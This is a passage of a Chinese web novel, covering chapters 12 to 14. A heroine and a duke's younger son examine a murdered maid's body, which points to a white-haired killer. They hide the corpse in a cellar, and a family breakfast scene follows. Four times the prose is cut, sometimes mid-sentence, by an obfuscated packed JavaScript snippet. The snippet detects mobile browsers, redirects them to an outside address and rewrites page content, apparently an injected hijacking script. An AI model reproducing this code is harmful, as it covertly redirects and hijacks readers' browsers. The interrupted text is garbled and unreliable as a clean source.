花辞树眉心一动,立刻想到什么:“你是说……昨天?” 萧容与垂眸,自嘲一笑:“本月初一,我骑的马受惊失控,多亏我命大,才逃过一劫。” 骑马? 花辞树脑中一闪,猝然想起宋嬷嬷昨日提过的那桩闲话——听说前些日子,萧容与在城中纵马,还险些撞了人…… 原来,那是一场惊马事故? 城中惊马,轻则主人坠马,生死难料;重则更会横冲直撞,波及无辜。 不论是萧容与,还是其他百姓,一旦有所死伤,都是一场难以收拾的祸事。 而萧容与能够“逃过一劫”,还只是“险些”撞人,必定已是豁出全力,将一匹暴起的烈马生生压了下去。绝非只是一句“命大”而已。 “国公府的马匹必定训练有素,温驯认主,怎会平白无故失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491558|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控?”花辞树缓缓道。 萧容与轻笑一声:“那时,有一小童在路边玩火花棒,不慎脱手飞出,正落在马蹄之下,火苗烫到了马腿。” 花辞树眸色微沉。突如其来的火光本就足以惊马,更何况还有灼痛的刺激,马会失控,几乎已是必然。 她正欲开口,挽玉却猛地上前一步。 “火花棒?”挽玉声音发颤,“是那种市井常见的焰火玩意,拿在手里玩的烟火棒?” 萧容与看她一眼,不动声色道:“正是。” 花辞树也看向挽玉:“你想到什么了?” 挽玉好似失了魂一般,只追问道:“方才你说,骑马受惊那天,是在初一?” “不错。”萧容与继续耐心回答。 “那一日,我和巧玉见过面!”挽玉声音陡然拔高,“那是我见她的最后一面!” “别急,慢慢说。”花辞树握住挽玉的手,稳住她几欲失控的情绪。 温度自掌心传来,挽玉闭了闭眼,从混乱中抓住那段记忆:“巧玉在相府少夫人院中伺候,她手巧,会梳发,已经升成二等丫头,少夫人将头油采买的差事也交给了她。 每月初一,她都会上街去买头油。若是那一日府中不忙,她便会偷偷溜去找我,我们姐妹……便能说上几句话。” 她喉咙一紧,声音更涩,“这个月初一,我们便见了一面。” 花辞树静静听着,心中隐隐产生了某种猜测。她却并未追问,只等挽玉说下去。 “我们姐妹几个月才能见这一次,还不能久留。原本都是互相询问近况,生怕话说不完。可那日,巧玉却像是有心事一般,话少了许多。” 挽玉的目光落在虚空,仿佛那一日的光景就在眼前,“我问她是不是在府里受了委屈,她只道没有,却忽然问了我一个古怪的问题…… ——眼下非年非节的,有货郎大白天卖焰火棒,是不是有些奇怪?” 萧容与眉梢一跳,道:“她还说什么了?” 挽玉却摇了摇头:“我当时不明所以,只随口说,是有些怪,又问她为何提起这个……巧玉只笑着说没什么,后来也再无异常,我便没再多想。” 话落,她的呼吸已然乱了几分。 原来姐妹两人最后一次见面,或许竟藏着妹妹被害的真相。 花辞树收紧了握着她的手,抬眼看向萧容与:“那次惊马,萧二公子可曾追查?” 萧容与摇头,淡淡道:“当时我眼中所见,不过是稚子贪玩,一场意外。这事可大可小,若追究起来,难免有无辜之人要被重责。既然并无伤亡,我便压下了。” 花辞树眸光微动。他将惊马之事压下了,于是市井流言,便成了他在闹市纵马伤人…… “至于现在……”萧容与语气微顿,带着几分意味深长,“经历了昨日的事,再联系巧玉的死。我想,很难再将这一切当做意外了。” 那日街上,巧玉留意到货郎的异样,猜测惊马事故或许另有蹊跷。心善的巧玉决定提醒萧容与当心,然后……便死于非命了。 一匹惊马,一条毒蛇,一条人命……好似被一只看不见的手,串在了一起。 花辞树沉默不语。 前世,根本没有萧容与这个人,巧玉分明还是死了。 可这一世,巧玉的死,怎会又与萧容与扯上了关系? 12. 白发 她的太阳穴隐隐跳动——这个萧容与,的确不祥,怎么走到哪里都能被他插上一脚,将局面搅得复杂? 她压下心绪,问:“所以,萧二公子此行,是想从巧玉查起?” 萧容与点了点头。 花辞树沉默一瞬,看向挽玉,声音放缓:“我们此来,也是为了还你妹妹一个真相。既然萧公子带了人来,便验验吧?” 挽玉听懂了她的意思,良久,终是闭了闭眼,极轻地点了下头。 花辞树瞥了萧容与身后那人一眼,道:“萧二公子意下如何?” 萧容与眉梢微挑,手指轻轻一扫。身后之人立刻上前,俯身凑向那草席,将手中的小木箱放到一旁,忙活起来。 挽玉站在花辞树身后,死死咬住唇,肩膀微微发抖,却终究一声未出。 萧容与重新看向花辞树,眸中带了几分玩味:“华大小姐如何知晓,此人是来验尸的?” 花辞树没有答话。此人身上明显混着艾草与石灰的气味,加之神情表现,一看便知是常与死人打交道的。更何况萧容与深夜来寻死者,第一个要查的,自然便是真正死因。 她原本的计划,是先将巧玉带回侯府,再想办法找人查验。眼下,倒可省去一桩事。 夜风吹过,远方传来几声乌鸦的嘶鸣。 花辞树只淡淡道:“比起这个,不如说说正事。” 萧容与愈发兴致盎然:“还有什么正事?” “关于昨天的事,萧二公子查到什么了?” 萧容与并不遮掩,随口道:“没什么有用的,不过听说,那古树根底,已被蚁穴蚀空了。” “蚁穴?”花辞树轻笑一声,“萧二公子恐怕还不知道,那小姑娘,是被人特意引到树下的,在她身上,还沾了引蛇的腥香粉。” 萧容与神色未动。她口中这些细节,他虽不知,可对于整件事乃人为设计,他却已心中有数。 然而,花辞树却没有就此停下:“就算树底已被蚁穴蚀空,也未必恰好在那一刻倒塌。毕竟,那不过是个小孩子,在树下转来转去,又能有多重? 除非有人算到,你会出现,会救人,会被蛇咬,会倒在树干上支撑身体。” 她语气不重,却带着冷冽的深意,“你不觉得,背后那个人,太过了解你了吗?” 萧容与平静道:“每次陪母亲去灵安寺,用过斋饭后,母亲都会让我去后院的小佛堂跪拜片刻。古树所在之处,正是去小佛堂的必经之地。这一点,只要在寺中稍加打听,便能知晓。” 花辞树没有否认,只淡淡道:“此人知道你会在那个时间经过那个位置,这或许不难。可真正要紧的是,他还笃定你宁可自己被毒蛇咬中,也会出手救人。” 萧容与微微偏头:“华大小姐究竟想说什么?” 花辞树轻轻一笑:“萧二公子在晏京的风评,想来不必我多说。能如此认定的人,一定是真正接触过你,并且真正了解你的人。 甚至于,他连你下意识会靠向树干的动作,都有预判。 ——这样的人,恐怕不多。” 萧容与收起那一丝笑意,语气沉了两分:“华大小姐是在怀疑我国公府?” 花辞树耸了耸肩:“我没有怀疑什么,只是在陈述事实。” 国公府的确是出了名的母慈子孝,兄友弟恭,可这,偏偏让她想到了前世的华姝。 即便所有人都蒙在鼓里,可她却再清楚不过。在那个看似平静的国公府,藏着一个冷静而耐心的杀人凶手。 前世的华姝,和今生的萧容与——同样是那个人身边的至亲,同样在不知不觉中,被推向生死边缘。 虽然花辞树并不清楚,萧容时有什么理由对自己的亲弟弟下手,可华姝不也是死得不明不白? 即便这一切都只是猜测,可她既然要对付萧容时,自然不介意将脏水往他身上泼。 哪怕多一个人开始怀疑,对她也有益无害。 不过,花辞树明白疏不间亲的道理,更看得出萧容与对家人的维护。 她并不多言,只淡淡开口,像是换了话题:“对了,可否问萧二公子一句,初一那日,你为何会在城中骑马?” 萧容与并不回避,直言道:“那一日,是我回家整三年的日子。有一件认亲信物,母亲本是要拿到灵安寺中,供奉一整月,上香还愿。可到了寺中,却发现忘带了。 母亲一向笃信这些,一时心急如焚,坐立不安,生怕这是不祥之兆。我为了安抚母亲,便骑马赶回府中去取。” “原来如此……”花辞树喃喃一声,话锋却是忽转,“国公夫人对此事如此看重,必定是早有安排,又怎会疏忽大意,连要供奉的东西都忘了带?” 萧容与看着花辞树,眼中的探究比方才更深了几分。 她似乎只是提问,可那言下之意却再清楚不过——所谓忘带信物,同样不是意外,而是……有人动了手脚。 便在此时,那在地上蹲坐已久的男子,终于站起身来。 他将双手随意在衣上抹了抹,长出一口气,道:“好了。” 挽玉神情恍惚已久,像是被这两个字猛地拽回现实,脸色骤然一变:“怎么样?” 男子只看向萧容与,见他点头,才道:“若是活人溺死,水沫与泥沙必会在挣扎中卷入鼻腔深处,而这位死者,显然是在死后才被人推入水中的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491559|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 挽玉双腿一软,整个人向后跌去,花辞树伸手将她扶稳,道:“除此之外,还看出什么?” 挽玉听到这句追问,刚刚溃散的神思果然又聚回几分,目不转睛地盯着验尸人。 男子面不改色,继续道:“死者左手掌心连带手腕,生前曾被烫伤,仍旧依稀可见痕迹。据我判断,此伤并非火燎,更像是热水一类的烫伤。” 花辞树心念一动,忽然看向萧容与:“你知道她手上曾被烫伤?” 方才,萧容与捏起巧玉的左手一看,便说她是十日前死去的相府婢女。花辞树当时便心存疑问,此时自然有了猜测。 萧容与道:“不错。那相府小厮与巧玉颇为相熟,他告诉我,巧玉被带去‘安葬’前,他偷偷跑去看过一眼,虽蒙着白布,他却看到白布下露出的一只左手,有个很新的烫伤疤痕。” 花辞树若有所思,未再言语。 验尸人便接着道:“至于真正死因……死者并非中毒、溺水之象,亦无明显外伤,只额角有轻微钝伤,却也并不致死。 其眼中淤血未散,指甲中有细絮残留……这些虽不能直接断定,但以我多年经验来看,多半,是被人闷杀的。” 他从袖中取出一个白布包,若有所思,“这等细絮,并非寻常下人房中之物。” 挽玉浑身一抖,眼中悲愤难抑。 “还有,死者脸上,或许有伤。”验尸人补充道。 “或许?”萧容时挑眉。 “时间太久,外头已经看不分明了。”验尸人惋惜道,“不过面部两侧略有不对称,口中也有破损,我也只能猜测——多半是被人重力击打过。” “掌掴?”萧容与猜测道,“听说巧玉在相府少夫人身边伺候,莫非是一时不慎惹恼了主子?” 挽玉指尖死死攥紧,下意识摇头:“不可能!巧玉心细手巧,从不出错。她也常提起,少夫人温柔贤淑,待下人从不苛责。” “依我猜测,凶手……恐怕不是女子。”验尸人也开了口,那始终波澜不惊的面色,罕见地带上几分沉重,“死者衣物凌乱,是被人重新穿过的。” 他只说到这里,可每个人,都听出了其中隐含的意味。 挽玉惨叫一声,脸色瞬间惨白,目眦欲裂。 花辞树将她扶得更紧,只清晰感觉到,她整个人都在剧烈颤抖。 验尸人轻叹一声,索性接着道:“还有一个最重要的发现。” 萧容与额角跳了跳,只吐出一个字:“说。” 男子又从袖中取出另一个布包,垂眸道:“死者一个指甲里,深深嵌着一根发丝。” 他顿了顿。 “是白发。” 13. 地窖 挽玉倒吸一口凉气,眼中恨意陡然一凝,哑声道:“白发……是、是丞相……” 花辞树目光微沉,从记忆中翻找出那位裴丞相的模样。 四五十岁的年纪,身形挺拔,面容严正,自有一番从容气度,俨然一副清流文臣模样,却掩不住骨子里的圆融算计。 这位丞相,头发虽未全白,却早已半白。 在相府之中,既是主子,又在年纪上相符的,只有丞相和丞相夫人。可从衣物凌乱这一点来看,显然更指向男性凶手。 裴丞相,杀了巧玉? 萧容与也在思考这个问题。他本就怀疑相府,这条线索,更是几乎将凶手指到了明面上。 他唯一不明白的是,裴相为何要如此害他,难道就是为了破坏两府结亲? 似乎,还是有哪里不对…… 他将思绪搁到一旁,看向花辞树:“华大小姐接下来有何打算?” 花辞树神色不动:“从一开始我便说了,我受这位姑娘所托,替她妹妹伸冤,自然会帮人帮到底。” “怎么帮?”萧容与挑眉,“状告相府?” 花辞树抬眼看他,语气淡淡:“你怕了?” 萧容与“啧”了一声,道:“我只是想提醒你,仅凭一根头发丝,可扳不倒老谋深算的裴相。” “有尸体在,至少就能证明,巧玉的死并非所谓意外溺水。只要彻查,总能查得出来。” 萧容与不由微讶:“你还真要去衙门状告相府?” “要告,但要告得惊心动魄,不得不查才行。” 萧容与眸色微深,如有所悟。片刻后,他释然一笑,道:“华大小姐想做什么,尽管放手去做。等到适当时机,我也会助一臂之力。” 萧容与话音刚落,便见花辞树看他的目光微妙地一变,不再是原先那般冷静疏淡,竟似有一丝莫名的“精光”从她眼底闪过。 “你……想说什么?”萧容与顿了顿,语气难得谨慎。 花辞树露出一个温和无害的笑容:“既然萧二公子如此乐于助人,眼前正是时机。” 萧容与微微眯起眼,狐疑地看着她。 “夜深路远,我要先送这位姑娘回家。劳烦萧二公子将巧玉送到侯府附近,我们稍后会合。”花辞树有条有理地安排。 “什、什么?”萧容与破天荒地结巴了一句,“你是要我……搬尸?” 花辞树理所应当地点了点头。 侯府是她唯一能全盘掌控的地方,自然也是最安全的地方。 她原是要先将挽玉送回玉宵楼,再设法将尸体带回侯府藏好,可那毕竟要多费周折。 眼前这人,既然已在局中,若不物尽其用,岂不浪费? 萧容与还未开口,那原本已无所事事的验尸人忽而“哎呦一声”,弯腰捂腹,神色痛苦:“爷,小的忽然腹痛难忍,得先找地方如厕去了……” 话音未落,已经提起一旁的小箱,头也不回地走了。 萧容与:…… 砚青手底下这些人,都和那家伙一个德行。正事虽不含糊,偷懒耍滑的小心思却一个比一个活络。 他懒得理会那落荒而逃的背影,看向花辞树,似笑非笑:“华大小姐,倒是会抓壮丁。” “这是哪里话?”花辞树一脸正直,“此案本就与萧二公子有所牵连,若能查清,你亦有收获。 更何况,萧二公子连受惊发狂的烈马都能制服,这点力气活,总不会非要为难我一个弱女子吧。” 萧容与嘴角抽了抽。无论是昨日踢断树干,还是今夜乱葬岗挖尸,他一点也不觉得,这是一个“弱女子”。 他沉默片刻,摇头低笑一声,“行。” 语气懒散,带着认命般的妥协。 他本也不是怕出苦力,只是不喜欢被人如此理直气壮地支使罢了。偏偏这人……也罢。 “萧二公子果然爽快。” 花辞树随口应了一句,随即背过身去。 萧容与眉梢轻挑,饶有兴致地看着,只见她将衣袍下摆掀起,在腰间解了片刻,眨眼间,竟凭空掏出一只粗布袋来。 手一抖,布料轻响,已成一只足以裹人的麻袋。 “用这个。”花辞树递了过去。 萧容与伸手接过,神色一时颇为复杂。 花辞树已转向挽玉,语气放缓:“你放心,我会将巧玉好生安置在侯府。接下来,你只需静候消息便是。” 挽玉双眼通红,握住花辞树的手,眼底闪动着感激:“姑娘,我……” 花辞树指尖微收,将她的话压住,沉稳道:“你我之间,无需多言。” 挽玉心领神会,没再开口,只轻轻点了下头。 她转头,看向地上的草席。 花辞树拍了拍她的手背,随即向后退开,给她留出最后的片刻。 萧容与同样退到一旁,目光落在花辞树身上:“华大小姐路见不平,仗义相助,不怕麻烦上身,真是女中豪杰。” 花辞树平静道:“稍后进侯府时,我会吸引偏门守卫和巡夜护院的注意,你背着麻袋翻墙而入,应当不成问题。” 萧容与:……还真是很“豪杰”啊。 “西偏院的西南角有一处地窖,是旧日储冰之所,如今已不常用,我们就在那里见。”花辞树接着道。 萧容与嘴角抽了抽。 眼前这个女人,是他未来的嫂子。 他几乎不敢相信,自己就要去偷翻墙头,和这样一个人深夜密会。 简直荒唐。 可偏偏,背着一麻袋尸首,还是在废弃地窖这样的地方……他忽然觉得,所谓“避嫌”,好像从一开始,就是多此一举了。 …… 丑时过半,夜深人静。 靖北侯府偏院上方,忽然掠过一道身影。 “什么人!”有守卫骤然警觉,一声厉喝破开夜色。 那身影已翻入墙内,落地无声。几乎同一瞬,门口几个守卫皆已火速追了过来。 “有贼人!” 又一声厉喝之下,四周灯火骤起,十余名巡夜的护院自各处赶来,迅速围拢。 闯入之人面上蒙着一块黑布,转身便走。 侯府护院显然训练有素,当即分进合击,将来人困入阵中。 短短片刻,已交手数招。来人虽有些身法,却远非以一敌十之辈,很快便落入下风。 有护院瞅准机会,手中长棍一翻,便要一击制敌。 “停!”便在此时,来人忽然高声一喝。 这一声干脆清亮,毫不掩饰,显然是个女子的声音。 而且,竟似有几分耳熟…… 一众护院心中迟疑,手下便慢了几分。 来人抓住空隙,反手扯下面上的黑布,猛然回身。 灯火之下,一张熟悉的面容清晰可见。 “啊?”有人惊叫一声,“是、是姑娘!” 众人自然都认得花辞树,一时僵在原地。既懊悔方才对姑娘棍棒相向,多有冒犯,又实在想不明白,姑娘为何要面蒙黑布,翻墙回府…… 花辞树轻咳两声,肃然道:“还不错。” 众人更是一头雾水,面面相觑。 “咱们打边城来的,好歹都算是出身行伍。如今久在晏京,就怕是松散了。今日一试,倒是不错。”花辞树一本正经道,“明日我会吩咐下去,本月月例加倍,以示嘉勉。” 众人虽还惊疑莫名,可听闻月例加倍,立时都欢欣鼓舞,齐声谢赏。 花辞树满意地点点头:“都散了吧。今夜无事,早些歇息。” …… 西偏院久无人居,在深夜里更是一片死寂。 风过廊下,草影微动。 萧容与背着一只麻袋,从一旁的假山后走出。 “跟我来。”花辞树并不多话,只招呼一声,便向一个角落走去。 一扇低矮的木门掩在墙根,花辞树抬手按在门上,微一用力。 随着一声低哑的摩擦声,一股冷意自门内涌出,带着陈年的霉湿气息。 门后并非屋室,而是一道向下延伸的石阶。 花辞树侧身一让,将手中的火折子递给萧容与,示意他先走。 萧容与并不迟疑,提着那只沉甸甸的麻袋,低头踏入。 花辞树紧随其后,在后面关上了木门。 月色被彻底隔绝在外,只有火折的微光,在石阶间投下斑驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491560|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的影子。 石阶一级级往下,空气愈发阴凉。 尽头,是一间宽阔的地窖。四壁皆为石砌,地面铺着旧青砖,寒气自地下渗出,久不见天光,连呼吸都觉阴冷。 萧容与将麻袋轻轻放在地上,回身伸出手去:“有青苔,小心滑。” 花辞树脚步微顿,却没有伸手,扶着石壁走完最后几级。 萧容与微微一怔,指尖在空中停了一瞬,才不着痕迹地收回,摸了摸鼻子。 “谢了。”花辞树道。 萧容与“嗯”了一声,却不知她谢的是深夜搬尸的苦力,还是这多此一举的伸手。 四周寂静得只剩下两人的呼吸声。 萧容与轻咳一声,率先打破沉默:“华大小姐,打算如何让此事见光?” 花辞树礼节性地一笑:“这个,就不劳萧二公子费心了。” 萧容与:…… 这人……还真是将他用完就丢啊。 “华大小姐方才还说,此案本就与我有所牵连,此时又要我置身事外了?” “比起这个,萧二公子还是多花心思,想想那个害你之人吧。”花辞树抬眼看他,不紧不慢道,“你那前后两次意外,其实还有一个隐藏的相似之处。” 火折散发着细碎的微光,两人的目光在昏暗中相触。 花辞树继续道:“闹市惊马,一旦坠马,非死即残,可对习武者而言,坠马并非必然。真正难以避免的,是惊马横冲直撞,伤及路人。而一旦有百姓伤亡,你的名声便彻底毁了。” 萧容与垂眸轻笑一声,顺着她的话接了下去:“至于那棵祈福古树,也不见得就能将我彻底困死,可一旦事发,一个‘不祥’的名声,便足够压死我了。” “此人不强求直取性命,也不贪于一击必杀。只用巧合将局串起,看似松散,却避无可避。”花辞树啧啧两声,摇了摇头,“有这样一个人在你身边,萧二公子往后,恐怕没工夫去管别人的事了。” 萧容与眸光一深。眼前之人,看似是在分析他的处境,可这一番分析,层层铺陈下来,落点却始终只有一句—— “在你身边”。 其中意味,她先前便暗示过。 不知为何,他心中生出一丝说不清的违和。仿佛她引他去看的,并不只是一个“真相”。 萧容与微微蹙眉,正欲开口,却忽而想起昨日…… 若无她在,自他坠入树坑的那一刻起,对方其实已经算是得手了。 萧容与转开视线,将那一丝探究收了回去,再开口时,语气也缓了几分:“我回来三年,一直相安无事。偏偏是在准备与相府议亲后,便接连开始出事。 巧玉是相府婢女,而昨日那树一倒,直接砸断了我与相府的亲事。” 他顿了顿,点到为止,“我想,最该怀疑的,是相府。” 不是国公府。更不是……他身边的人。 “至于我国公府中,是否真有被人收买的内鬼,我会再查。” “那便祝萧二公子查得顺利。”花辞树轻轻一笑,看不出是真心还是敷衍,“夜已深,萧二公子请便吧。” 萧容与没再多说什么,抬步向石阶而去。与她擦肩而过时,脚步却忽然一顿,好似随口提起:“昨日在灵安寺,我丢了一枚玉佩。” 花辞树眉梢微动:“哦?” “回想起来,自然是在坠入树坑时,不慎掉落的。”萧容与的语气中带上了两份玩味,“倘若被旁人捡到,那古树倒塌之事,恐怕与我脱不了干系了。好在直到今日,似乎还无人发现。” “如此说来,也算不幸中的万幸。”花辞树应道。 萧容与侧头,目光落在她的侧脸,嗓音微低:“不知华大小姐,可曾见到我的玉佩?” “不曾。”花辞树平静道。 在她袖中,一枚玉佩正静静躺在那里。 方才她将挽玉送回了玉宵楼,自然也取回了那枚押着的玉佩。 不过这种事,自然是不可能承认的。 “那倒真是有些奇怪。”萧容与语气意味不明,目光轻轻一扫,像是在认真推演,“若捡到玉佩这种东西,通常会收在哪里? ——怀里?还是袖中?” 14. 家人 两人站得极近,他嗓音低沉,语气不疾不徐,却无端带出几分与生俱来的压迫。 花辞树转头迎上他的目光,一脸正直:“若捡到东西,自然该设法寻回失主,哪有自己收着的道理?” 萧容与淡淡道:“可惜世上之事,未必都按规矩来。” 花辞树轻轻挑眉:“看来萧二公子是信不过我,不如亲自搜一搜?” 她摊开双手,从容而干脆,好似任他查验。 火折的微光在两人之间晃动。光影落在她眼中,似有星点细碎流转。 抬眼看他的一瞬,女子长睫似羽,眼尾微扬,目光沉静而清澈,像极了他遗落的那块玉,没有一丝杂质。 她说话时,气息几乎落在他侧颈,带着一点微凉。 萧容与眼底那一线锋芒,轻轻晃了一下。 不过片刻,他忽然移开视线。 荒唐。 堂堂男儿,竟连避嫌都忘了,半夜堵在这种地方,逼问未来嫂子? 萧容与眉心微不可察地一紧。 “我先走了。” 他只留下一句,转身上阶,步伐比来时更快了几分。 脚步声渐远,地窖中很快重归寂静,花辞树这才弯了弯唇。 袖中,玉佩微凉。 …… “姑娘——”一道沉稳中略带焦急的声音,由远及近飞来。 下一刻,宋嬷嬷已掀帘而入。 宋嬷嬷素来最重规矩,此刻却连通报都忘了,一路走到花辞树面前,气息微喘:“听说姑娘昨天半夜翻墙进府,还和护院们动了手?” 花辞树稳坐桌旁,轻轻放下手中的茶盏,道:“巧了,我正想找宋嬷嬷。” 宋嬷嬷一怔,只得静待后文。 “那些守卫与护院恪尽职守,不曾松懈,我已发下话去,本月月例加倍,劳烦宋嬷嬷吩咐账房,莫要忘了。” “什、什么?”宋嬷嬷难得睁大了眼。 那点月例银子,自然算不上什么,可她不明白的是——姑娘闹出这么一场动静,难不成就是为了试一试那些下人是否恪尽职守? “还有一件要紧事。”没等宋嬷嬷追问,花辞树便轻咳一声,语气也随之正了几分。 宋嬷嬷又是一怔。她原本一肚子的话,连带着疑问、担忧、规劝……怎么到头来,倒成了姑娘有事了? 花辞树已继续说道:“我初到晏京,距离婚期已不足三月,却还人生地不熟。宋嬷嬷先前提过,若是办一场茶会,也不失为融入晏京圈子,往来结交的契机。 这几日我想了想,觉得宋嬷嬷言之有理,这件事,便交给你去办吧。” 办……茶会? 宋嬷嬷不禁晃了晃神。 姑娘刚到晏京的第二日,她便提了此事。可那时,姑娘神情淡淡,显然对这等交际应酬颇为不耐。 她还暗自叹息,想着日后再多劝几次。 怎么不过几日光景,姑娘忽然就自己想通了? 宋嬷嬷喜出望外,只觉姑娘终于开了窍,当即将昨夜的事搁到一旁,语重心长道:“姑娘愿听老奴一言,老奴心中实在宽慰。 姑娘放心,此事交给老奴,必定办得风风光光,体体面面,绝不堕了咱们侯府的颜面,定要让晏京圈子都高看我们姑娘。” 花辞树嘴角抽了抽。茶会上将要发生的事,显然不会是宋嬷嬷想要的“风光体面”…… 眼见她如此郑重其事,踌躇满志,花辞树轻咳一声,语气温和了几分:“凡事过得去便是,宋嬷嬷不必太劳神。” 生平第一次,宋嬷嬷在姑娘身上看到了夫人的影子。她心头一震,压下眼底涌起的湿热,声音却不自觉带上几分郑重:“老奴在晏京十余年,就是为了这一日。 姑娘到时只管打扮得漂漂亮亮,至于择日、请帖、宾客名单、席面茶点……老奴都会安排妥当,必不会出半点差池。” 花辞树微微一怔,心中也不由一软,还未来得及再说什么,宋嬷嬷已经干劲十足地走了,脚步比来时还要利落几分。 花辞树指尖在桌案上点了点,若有似无地轻叹一声。 ……罢了。 到时候,多给这位兢兢业业的宋嬷嬷一些补偿吧。 …… 清晨的日光落在青砖上,映出一层浅淡的暖意。 “母亲,儿子来问安了!”萧容与的声音还未入门,便先一步闯了进来。 他如往常一般兴致极高,几步踏入厅中,带着几分未散的晨雾与少年意气。 国公夫人斜靠在软榻上,神色原还略显倦意,见他来了,眼中先是一亮,随即却又浮上几分无奈。 在她一旁,萧容时早已到了,正陪她说着什么。 “兄长,早啊。”萧容与笑着招呼一声。 国公夫人坐直身子,目光在他身上打量一圈,嗔怪道:“你这孩子……听门房说,你昨晚夜不归宿,天快亮才回来?” 她深深叹了口气,语气却并不严厉,“前日才被蛇咬了,太医还叮嘱要好生歇息。偏你这性子,一日也不得闲,又跑到哪里野去了?真要母亲操碎了这颗心不成?” 萧容与心头不由一暖。母亲向来便是如此,即便在气头上,也不是怪他夜不归宿,而是心疼他没好好歇着。 他的目光不由在她鬓边停了一瞬。那早已半白的头发,在晨光下格外分明。 母亲不过四十出头,本该养尊处优,安享富贵,如今却难掩岁月侵痕。 从前那些年……她是如何一日日熬过来的? 胸口像是被什么压住,萧容与一时竟说不出话来。 若不是他年幼贪玩,走失在外,又怎会让父母煎熬至此…… 一旁的萧容时适时开口,语气温和:“母亲不必忧心。弟弟还能出去玩,身子必定已大好了。” 他看向萧容与,含笑道:“可见弟弟底子好,回来这几年调养得也好,母亲该高兴才是。” 国公夫人被他说得一愣,神色果然缓和了,却忍不住在他额上轻轻一戳:“你啊你,就知道替你弟弟说话。” 萧容与站在一旁,只是浅笑。 这些年,他不在家中,多亏有兄长陪在父母身边,替他尽孝。若没有兄长,母亲恐怕早已撑不下去。这份感激,他始终记在心里。 他顺势接过话头,语气轻快,带着几分刻意的嬉闹:“还是兄长会说话。我这身子壮得很,别说一条蛇,就是再来几条——” “呸呸呸!”国公夫人连忙打断,在他肩上不轻不重地捶了一下,“胡说什么!” 她刚刚才宽慰几分,又忍不住开始叹气:“你啊你,还嘻嘻哈哈的,怎么就不知道愁呢?” 萧容与一愣,理直气壮地反问:“咱们家不愁吃,不愁穿,还愁什么?” 国公夫人瞪了他一眼,叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491561|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息更深:“你看你哥哥,再过两个多月便要成亲了。可你呢? 母亲好不容易相中那位裴大姑娘,谁知第一次见面,百年古树竟生生倒了……如此不详,岂不是连上天都在示警,这门亲事结不得? 可母亲这心里,还是可惜极了。” 萧容与这才反应过来,原来母亲还惦记着他的亲事。 他下意识看向一旁的兄长——一表人才,稳重体贴,显然是世人眼中的良配。亲事早已定下,一切都顺理成章。 而他脑海中,却莫名闪过昨夜那个扮成男装,在乱葬岗穿行的少女。 ……那便是他未来的嫂子。 “你看你,还发什么呆!”国公夫人更气了。 萧容与回过神,笑意重新挂回脸上,语气仍是那副漫不经心的模样:“既然不吉利,再换一家便是了。母亲正好多些事情做,也不至于枯燥。” 国公夫人一时无语,哭笑不得:“马上要准备你兄长的婚事,我只怕忙不过来! 那位华姑娘,我见了十分欢喜,是个知书达理的好姑娘,又是侯府千金,自然要风风光光,大操大办。” “嗯,是啊……”萧容与轻描淡写地应了一声。 萧容时又适时帮腔:“弟弟还小,还没收心,母亲别急。过不了一两年,等他见我成婚后日子如何甜蜜,不用你催,也要急着找媳妇了。” 萧容与低头一笑。 国公夫人看着这兄弟二人,摇头叹道:“你们兄弟俩,总是一条心,就气我吧!” 言语虽是抱怨,眼中却藏不住笑意。 萧容时好似忽然想起什么,道:“好了,大清早的,咱们不说烦心事。” 他说着,看向萧容与,唇角微扬:“看我今日给你带了什么好东西。” 萧容与顿时来了兴致:“什么?” “这个月初一,是你回家三年的日子,兄长可没忘。只是前些日子督察院事务繁忙,未能抽身,今日一并补上。” “哦?”萧容与挑了挑眉,“我可是知道的,兄长那里好东西多得很,别想轻易打发了我。” 萧容时轻笑一声,啐道:“还不是你太不省心。前些日子惊了马,新换的坐骑难免不惯。我特意寻了一匹千里宝驹,性子稳,脚程快,便宜你了。” 萧容与正要开口,萧容时已从一旁取出一只匣子,递了过来:“还有这个。” 萧容与随手接过,掀开匣盖。一柄短刃静静躺在里面。 